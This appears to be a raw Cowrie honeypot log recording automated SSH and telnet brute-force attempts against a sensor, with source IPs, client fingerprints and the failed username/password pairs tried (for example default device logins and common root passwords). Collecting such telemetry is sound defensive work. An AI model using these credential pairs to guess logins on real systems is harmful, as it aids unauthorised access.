{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:39.658788Z","src_ip":"43.245.97.82","session":"b97bbd9b516a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.570977449417114,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:39.797795Z","src_ip":"69.4.83.194","session":"990cfa001a29","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:39.905656Z","src_ip":"43.245.97.82","session":"b97bbd9b516a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pedro","password":"pedro","message":"login attempt [pedro/pedro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:40.947605Z","src_ip":"43.245.97.82","session":"b97bbd9b516a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:42.197796Z","src_ip":"43.245.97.82","session":"b97bbd9b516a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":36904,"dst_ip":"10.17.0.5","dst_port":22,"session":"facf67a05fc3","protocol":"ssh","message":"New connection: 103.15.222.183:36904 (10.17.0.5:22) [session: facf67a05fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:43.275354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:43.280719Z","src_ip":"103.15.222.183","session":"facf67a05fc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:43.523866Z","src_ip":"103.15.222.183","session":"facf67a05fc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.76631689071655,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:43.624692Z","src_ip":"69.4.83.194","session":"7ee05c0a0e4f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vladimi","message":"login attempt [root/vladimi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:44.502499Z","src_ip":"103.15.222.183","session":"facf67a05fc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:45.753052Z","src_ip":"103.15.222.183","session":"facf67a05fc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":59188,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a0fe33f65bc","protocol":"telnet","message":"New connection: 178.128.93.180:59188 (10.17.0.5:23) [session: 7a0fe33f65bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:55.739007Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.36.79","src_port":41352,"dst_ip":"10.17.0.5","dst_port":22,"session":"a247077953f8","protocol":"ssh","message":"New connection: 103.82.36.79:41352 (10.17.0.5:22) [session: a247077953f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:56.602451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:56.782881Z","src_ip":"103.82.36.79","session":"a247077953f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:56.978439Z","src_ip":"103.82.36.79","session":"a247077953f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:58.038764Z","src_ip":"103.82.36.79","session":"a247077953f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:48:59.292747Z","src_ip":"103.82.36.79","session":"a247077953f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.239.106.153","src_port":59328,"dst_ip":"159.203.135.109","dst_port":22,"session":"28f1f1aa70b7","protocol":"ssh","message":"New connection: 77.239.106.153:59328 (159.203.135.109:22) [session: 28f1f1aa70b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:06.522140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:06.527419Z","src_ip":"77.239.106.153","session":"28f1f1aa70b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:06.611971Z","src_ip":"77.239.106.153","session":"28f1f1aa70b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:06.977847Z","src_ip":"77.239.106.153","session":"28f1f1aa70b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:08.065458Z","src_ip":"77.239.106.153","session":"28f1f1aa70b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":48298,"dst_ip":"159.203.135.109","dst_port":23,"session":"6134f37a83d3","protocol":"telnet","message":"New connection: 69.4.83.194:48298 (159.203.135.109:23) [session: 6134f37a83d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:12.980478Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":40302,"dst_ip":"159.203.135.109","dst_port":22,"session":"27bcbb4390bd","protocol":"ssh","message":"New connection: 185.40.30.168:40302 (159.203.135.109:22) [session: 27bcbb4390bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:13.416676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:13.422584Z","src_ip":"185.40.30.168","session":"27bcbb4390bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:13.554893Z","src_ip":"185.40.30.168","session":"27bcbb4390bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:14.115219Z","src_ip":"185.40.30.168","session":"27bcbb4390bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:15.245205Z","src_ip":"185.40.30.168","session":"27bcbb4390bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":49992,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f56daf3af7f","protocol":"ssh","message":"New connection: 109.172.54.111:49992 (159.203.135.109:22) [session: 2f56daf3af7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:21.900383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:21.904850Z","src_ip":"109.172.54.111","session":"2f56daf3af7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:22.003742Z","src_ip":"109.172.54.111","session":"2f56daf3af7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"element123","message":"login attempt [root/element123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:22.305980Z","src_ip":"109.172.54.111","session":"2f56daf3af7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:23.409691Z","src_ip":"109.172.54.111","session":"2f56daf3af7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":52748,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d5c2a8457d6","protocol":"telnet","message":"New connection: 69.4.83.194:52748 (159.203.135.109:23) [session: 7d5c2a8457d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:23.766474Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":50298,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdbf68004922","protocol":"ssh","message":"New connection: 193.228.128.84:50298 (10.17.0.5:22) [session: fdbf68004922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:25.288746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:25.293965Z","src_ip":"193.228.128.84","session":"fdbf68004922","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:25.396642Z","src_ip":"193.228.128.84","session":"fdbf68004922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"44445555","message":"login attempt [root/44445555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:25.704050Z","src_ip":"193.228.128.84","session":"fdbf68004922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:26.809476Z","src_ip":"193.228.128.84","session":"fdbf68004922","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":22796,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa9e52f6dab4","protocol":"ssh","message":"New connection: 193.46.255.86:22796 (10.17.0.5:22) [session: fa9e52f6dab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:28.675318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:28.681205Z","src_ip":"193.46.255.86","session":"fa9e52f6dab4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:28.811554Z","src_ip":"193.46.255.86","session":"fa9e52f6dab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:29.386598Z","src_ip":"193.46.255.86","session":"fa9e52f6dab4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54732,"dst_ip":"159.203.135.109","dst_port":23,"session":"485d82b707f6","protocol":"telnet","message":"New connection: 69.4.83.194:54732 (159.203.135.109:23) [session: 485d82b707f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:29.977394Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:49:30.516112Z","src_ip":"193.46.255.86","session":"fa9e52f6dab4","protocol":"ssh"}
